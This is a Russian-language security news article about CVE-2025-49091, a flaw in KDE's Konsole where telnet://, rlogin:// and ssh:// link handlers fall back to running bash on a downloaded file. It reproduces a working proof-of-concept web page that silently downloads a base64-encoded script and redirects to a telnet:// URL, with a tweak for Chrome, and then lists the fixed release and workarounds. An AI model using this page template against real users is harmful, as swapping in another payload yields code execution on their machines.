В развиваемом проектом KDE открытом эмуляторе терминала Konsole специалистами по ИБ выявлена критическая уязвимость (CVE-2025-49091), позволяющая организовать выполнение кода в системе при открытии в браузере специально оформленной страницы.
Для решения Konsole по умолчанию в KDE регистрируется сервис KTelnetService (ktelnetservice6.desktop), подключающий обработчики открываемых в браузере URL‑схем telnet://, rlogin:// и ssh://. При обработке данных схем в эмуляторе терминала запускаются утилиты telnet, rlogin и ssh, которым передаётся указанный в ссылке путь.
По информации OpenNET, уязвимость CVE-2025-49091 вызвана тем, что в случае, когда в системе не установлена утилита telnet, rlogin или ssh, Konsole при вызове соответствующего обработчика URL запускал командный интерпретатор bash. Например, если отсутствует telnet при открытии в браузере ссылки «telnet:///proc/self/cwd/Downloads/evil» в Konsole запускался «/bin/bash /proc/self/cwd/Downloads/evil». По аналогии можно совершить атаку на обработчики rlogin:// и ssh:// при отсутствии в системе утилит rlogin и ssh.
Эксплуатации уязвимости CVE-2025-49091 сопутствует такой момент: в конфигурации по умолчанию современные версии Firefox и Chrome автоматически сохраняют инициированные для загрузки файлы, не выводя запрос пользователю, а лишь показывают уведомление о факте состоявшейся загрузки. В Firefox подобное поведение можно отключить, выставив настройку «Always ask you where to save files» на странице конфигуратора «General -> Files and Applications». Как правило, файлы сохраняются в каталог ~/Downloads, на который, не зная имени текущего пользователя, можно сослаться через файловый путь «/proc/self/cwd/Downloads/».
Ниже показан пример javascript‑кода, при выполнении которого в браузере в окружениях KDE с Konsole у пользователя будут выполнены команды «echo „Hello world“; touch /tmp/foobar» (в примере они закодированы в строке «dаta:;base64,ZWNobyAiSGVsbG8gd29ybGQiCnRvdWNoIC90bXAvZm9vYmFyCg==»). Предложенный код формирует ссылку с интегрированными данными, симулирует клик на эту ссылку и перебрасывает пользователя на URL «telnet://...».
Для работы в Chrome следует изменить имя файла в ссылке на evil.txt, так как Chrome автоматически добавляет расширение txt. <html> <head> <script type="text/javascript"> function downloadAndRedirect() { const anchor = document.createElement('a'); anchor.href = "dаta:;base64,ZWNobyAiSGVsbG8gd29ybGQiCnRvdWNoIC90bXAvZm9vYmFyCg=="; anchor.download = 'evil'; document.body.appendChild(anchor); anchor.click(); document.body.removeChild(anchor); setTimeout(() => { window.location.href = "telnet:///proc/self/cwd/Downloads/evil"; }, 1000); } </script> </head> <body onload="downloadAndRedirect()"> </body> </html>
В Firefox и Chrome при попытке перехода по ссылке «telnet://» по умолчанию будет выведен запрос для подтверждения операции у пользователя. В случае согласия KTelnetService запустит команду: /usr/bin/konsole --noclose -e telnet /proc/self/cwd/Downloads/evil.
Если в системе нет утилиты telnet, Konsole откатится на запуск bash вместо telnet, передав изначально указанный в командной строке аргумент.
Уязвимость CVE-2025-49091 устранена в выпуске Konsole 25.04.2, вошедшем в состав обновления KDE Gear 25.04.2. Проследить за устранением уязвимости в дистрибутивах можно на следующих страницах: Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Arch, FreeBSD. В качестве обходных путей для блокирования уязвимости можно установить утилиты telnet, rlogin и ssh или удалить файл /usr/share/applications/ktelnetservice6.desktop.
Источник новости: habr.com